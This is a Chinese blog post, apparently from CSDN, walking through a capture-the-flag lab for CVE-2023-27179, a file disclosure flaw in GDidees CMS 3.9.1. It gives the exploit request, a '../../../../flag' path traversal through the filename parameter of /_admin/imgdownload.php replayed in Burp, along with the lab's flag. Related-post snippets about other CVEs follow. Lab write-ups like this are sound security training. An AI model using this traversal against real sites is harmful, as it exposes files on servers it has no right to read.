春秋云镜 CVE-2023-27179

已于 2024-04-10 09:04:45 修改
阅读量851 收藏 7
点赞数 11
分类专栏： 春秋云镜 文章标签： web安全
于 2024-03-28 16:54:53 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq274575499/article/details/137116465
版权
本文报道了GDideesCMS3.9.1版本的本地文件泄露漏洞，通过filename参数进行攻击。利用者可下载flag文件并实现目录穿越，展示了漏洞利用过程和Burp工具的应用。
摘要由CSDN通过智能技术生成

靶标介绍：

GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞，漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。

访问实验地址

通过靶场介绍得知，漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。构造访问目录。

http://eci-2zeh4jwpx8vpuxj3gjtn.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=flag

发现可以下载文件，打开flag.png，发现没有flag

使用Burp工具抓包，重放。

构造目录穿越

_admin/imgdownload.php?filename=../../../../flag，点击go

得到flag:flag{f16d0fe0-7afb-49fb-b093-0bfc9ea91159}

参考文章：💀 GDidees CMS 3.9.1 本地文件泄漏/目录遍历漏洞利用 CVE-2023-27179 (sploitus.com)

QYpiying
关注
专栏目录
CVE-2023-6548 和 CVE-2023-65的Citrix Netscaler/ADC-13.0-92.21 最新补丁
01-19
针对CVE-2023-6548 和 CVE-2023-6549 的 NetScaler ADC 和 NetScaler Gateway 的漏洞补丁升级包 CVE-2023-6548 ：在管理接口上执行经过身份验证的（低特权）远程代码 CVE-2023-6549：拒绝服务 2、 强烈建议受影响...
春秋云境CVE-2023-27179
m0_64432806的博客
03-27 1013
春秋云境CVE-2023-27179 GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞，漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。
GDidees CMS v3.9.1 本地文件泄露漏洞（CVE-2023-27179）
Flag少侠的博客
07-10 9243
打开靶场进入靶场页面如下根据题目构造 URL可以看到下载了一个文件并以 PNG 结尾现在就是要找到 flag，但是用浏览器的话是以 PNG 结尾，我们无法查看文件，可以利用 curl 进行测试。
春秋云镜CVE-2023-27179
最新发布
2301_81728234的博客
08-04 157
春秋云镜CVE-2023-27179靶场练习
[春秋云镜] CVE-2023-27179
m0_73649671的博客
05-03 648
GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞，漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。
【春秋云镜】CVE-2023-27179靶标Wp，熬了整整30天
m0_61331573的博客
04-06 823
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！
Error系列-CVE CIS-2023系统漏洞处理方案集合
tangdou369098655的博客
06-06 6715
网络安全-CVE - CIS 漏洞分析以及解决
春秋云境 CVE-2022-4230 夺旗
05-02
### 春秋云境 CVE-2022-4230 夺旗知识点解析 #### 一、漏洞概述 **CVE-2022-4230** 是一个存在于 **WP Statistics** WordPress 插件（版本13.2.9及以前）中的安全漏洞。该漏洞的主要原因是插件在处理特定参数时...
OpenSSH(CVE-2023-38408)一键升级修复-OpenSSH9.5p1
10-17
在2023年，OpenSSH发现了一个名为CVE-2023-38408的安全漏洞，这个漏洞可能允许攻击者在特定条件下绕过身份验证或执行未授权的操作，对系统安全构成威胁。为了保护您的系统不受此漏洞影响，及时升级到OpenSSH 9.5p1...
CVE-2023-21768 Windows AFD 本地提权漏洞 C 源码
08-23
CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。 AFD （Ancillary Function Driver）是Windows操作系统中的一个内核模式驱动程序。 漏洞原理： 该漏洞存在于AFD驱动程序处理用户...
【CVE复现计划】CVE-2023-27179
m0_63138919的博客
04-01 698
本文以春秋云镜为靶场，进行该CVE-2023-27179的漏洞原理学习，记录自己学习过程，还请大佬们师傅们指出文中错误
【春秋云镜】CVE-2023-27179靶标Wp
KKleeeaa的博客
03-31 841
ok 可以发现可以通过filename参数进行读取，所以我们直接读取flag终结他吧！他的标题已经告诉我们路径在哪里，所以我们直接访问/_admin/imgdownload.php。现在我们知道题目说filename参数存在漏洞，我们直接控制参数！OK啊白白的一片，直接丢Yakit里面去 教训他。报告长官，一切正常！
【渗透测试实践课程】cve-2023-21746漏洞复现，Windows NTLM漏洞
qq_63591520的博客
06-24 829
Windows NTLM 在进行身份验证时存在漏洞“LocalPotato”，允许拥有低权限的本地攻击者通过运行特制程序将权限提升至SYSTEM。
【漏洞复现】CVE-2023-27178 GDidees CMS任意文件上传漏洞复现
失心少年
03-06 300
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！GDidees CMS是法国一款开源的网站管理工具，可用于创建站点、照片或视频库。GDidees CMS 3.9.1及以下版本存在任意文件上传漏洞，允许未经授权的攻击者上传精心构造的文件并执行任意代码。
春秋云境系列靶场记录（合集）-不再更新
一只爱吃橙子的羊
11-29 7110
春秋云境系列靶场记录合集，不更新了哈……
春秋云镜-Unauthorized-Writeup
qq_35607078的博客
07-12 3841
春秋云镜-Unauthorized-Writeup
春秋云镜CVE-2022-0543
09-04
根据提供的引用内容，春秋云镜CVE-2022-0543指的是Apache Spark的命令注入漏洞（CVE-2022-33891）。这个漏洞影响的版本包括Apache Spark version 3.1.1和Apache Spark version >= 3.3.0。 官方建议升级到安全版本来修复这个漏洞，并提供了相关链接供参考。 另外，引用中还提供了一个链接，指向一个网址http://eci-2zej5zymcbcri9jmain3.cloudeci1.ichunqiu.com/，但无法确定这个链接与CVE-2022-0543之间的具体关系。 引用中还展示了一个尝试读取系统文件的HTTP请求，但同样无法确定这个请求与CVE-2022-0543之间的具体关系。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [CVE-2022-33891POCApache Spark 命令注入（CVE-2022-33891）POC](https://download.csdn.net/download/qq_51577576/86396832)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [[春秋云镜]CVE-2022-0543](https://blog.csdn.net/niubi707/article/details/128305838)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

QYpiying

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值